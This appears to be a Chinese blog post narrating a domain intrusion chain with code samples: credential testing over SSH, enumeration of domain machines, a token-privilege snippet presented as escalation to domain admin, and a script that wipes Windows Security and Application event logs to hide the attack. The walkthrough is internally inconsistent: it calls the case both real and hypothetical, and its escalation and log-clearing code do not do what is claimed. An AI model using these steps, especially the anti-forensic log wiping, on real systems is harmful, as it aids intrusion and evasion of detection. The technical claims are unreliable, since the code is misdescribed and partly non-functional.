0x01 渗透的起点

黑客示意图

这是一个真实的案例,我们假设在一次例行的外部渗透测试中,经过初步的信息收集,我发现目标网络的某台服务器开放了常见的服务端口。这台服务器上运行的是一个过期的Nginx版本,并且通过一个简单的目录遍历漏洞,我们找到了一个公开的配置文件,其中包含了另一个Windows服务器的访问凭证。就这样,我们的攻击链从这里拉开序幕。

0x02 初始攻破:从配置文件到域内足迹

通过这个配置文件,我们成功获取了目标Windows服务器的访问权限。接下来,我们需要在这个服务器上进一步扩展我们的攻击面。我们可以使用以下Python代码来测试获取的凭证的有效性,并尝试连接到目标服务器:

<pre><code class="language-python">import paramiko

def attempt_ssh_connection(hostname, username, password): try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, username=username, password=password) print(f&quot;Successfully connected to {hostname} as {username}&quot;) client.close() except Exception as e: print(f&quot;Failed to connect: {e}&quot;)

黑客示意图

host = &quot;target.server.com&quot; user = &quot;extracted_user&quot; passwd = &quot;extracted_password&quot;

attempt_ssh_connection(host, user, passwd)</code></pre>

一旦我们确认了这些凭证的有效性,下一步就是在Windows服务器上进行横向移动。利用这些凭证,我们可以访问服务器上存储的文件,尝试发现更多可以扩展攻击面的信息,比如其他敏感配置文件、密码文件、域用户信息等等。

0x03 横向移动:域控之战

随着我们深入探索这台Windows服务器,我们发现其中存储了一些域控制器的相关信息。这里是时候发挥C语言的功效了,通过一些经典的C语言代码,我们可以尝试利用这些信息进行域渗透。

首先,我们编写一个简单的C程序,尝试枚举当前域中的所有计算机:

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;lm.h&gt;

include &lt;stdio.h&gt;

void enumerateDomainMachines() { LPBYTE pBuf = NULL; DWORD dwEntriesRead = 0; DWORD dwTotalEntries = 0; DWORD dwResumeHandle = 0;

NET_API_STATUS nStatus = NetServerEnum( NULL, 100, &amp;pBuf, MAX_PREFERRED_LENGTH, &amp;dwEntriesRead, &amp;dwTotalEntries, SV_TYPE_WORKSTATION | SV_TYPE_SERVER, NULL, &amp;dwResumeHandle );

if (nStatus == NERR_Success &amp;&amp; pBuf != NULL) { SERVER_INFO_100 pServerInfo = (SERVER_INFO_100 )pBuf; for (DWORD i = 0; i &lt; dwEntriesRead; i++) { printf(&quot;Found server: %S\n&quot;, pServerInfo[i].sv100_name); } }

if (pBuf != NULL) { NetApiBufferFree(pBuf); } }

int main() { enumerateDomainMachines(); return 0; }</code></pre>

运行这段代码,我们可以获取域中所有的计算机名,这为我们进一步攻击提供了目标列表。这种枚举信息的技术在域环境中是非常有效的,因为它让我们对目标网络内的基础设施有了一个概念上的图景。

0x04 权限提升:从普通用户到域管理员

在找到域控制器后,权限提升是我们的下一个目标。我们可能会发现管理员的凭证被错误地存储在服务器的某个位置,通过这些凭证,我们可以尝试在域内提升权限。下面展示一个假设的提升权限概念代码:

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

BOOL EnablePrivilege(HANDLE hToken, LPCWSTR privilege) { TOKEN_PRIVILEGES tp; LUID luid;

if (!LookupPrivilegeValue(NULL, privilege, &amp;luid)) { return FALSE; }

tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

return AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); }

void elevateToAdmin() { HANDLE hToken = NULL; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken); EnablePrivilege(hToken, SE_DEBUG_NAME);

// Further operations to execute with elevated privileges... printf(&quot;Privileges enabled!\n&quot;);

CloseHandle(hToken); }

int main() { elevateToAdmin(); return 0; }</code></pre>

这段代码展示了如何启用特权,以便进一步进行敏感操作。通过这样的权限提升,我们可以在域内执行更为广泛的攻击操作,比如读取敏感数据、修改配置等等。

0x05 数据窃取与痕迹清理

成功提升权限后,我们可以访问并复制敏感数据。为了完成整个攻击链,我们需要确保不会留下任何痕迹。以下展示一个简单的痕迹清除脚本:

<pre><code class="language-python">import os import subprocess

def clear_logs(log_files): for log in log_files: try: open(log, &#039;w&#039;).close() # Clear file contents print(f&quot;Cleared log file: {log}&quot;) except Exception as e: print(f&quot;Failed to clear log {log}: {e}&quot;)

log_paths = [ &quot;C:\\Windows\\System32\\winevt\\Logs\\Application.evtx&quot;, &quot;C:\\Windows\\System32\\winevt\\Logs\\Security.evtx&quot;, ]

clear_logs(log_paths)</code></pre>

这个脚本简单但有效地清除了系统日志,减少了被反查的可能性。

0x06 攻击者的感悟

黑客示意图

在这一系列攻击步骤中,我们从一个简单的信息泄露开始,通过横向移动、权限提升,最终达到了数据窃取的目的。整个过程中,攻击者需要时刻保持警觉,善于发现目标环境中的每一个细节。在域环境中,信息是最强的武器,而如何利用这些信息则是攻击者的艺术。

这篇文章仅仅是一个案例分析,旨在帮助安全研究人员了解攻击者的思维模式。希望这次的分享能让大家在合法授权的测试中有所启发。

声明:本文仅供安全研究学习,任何未经授权的攻击行为均属违法行为,后果自负。

黑客示意图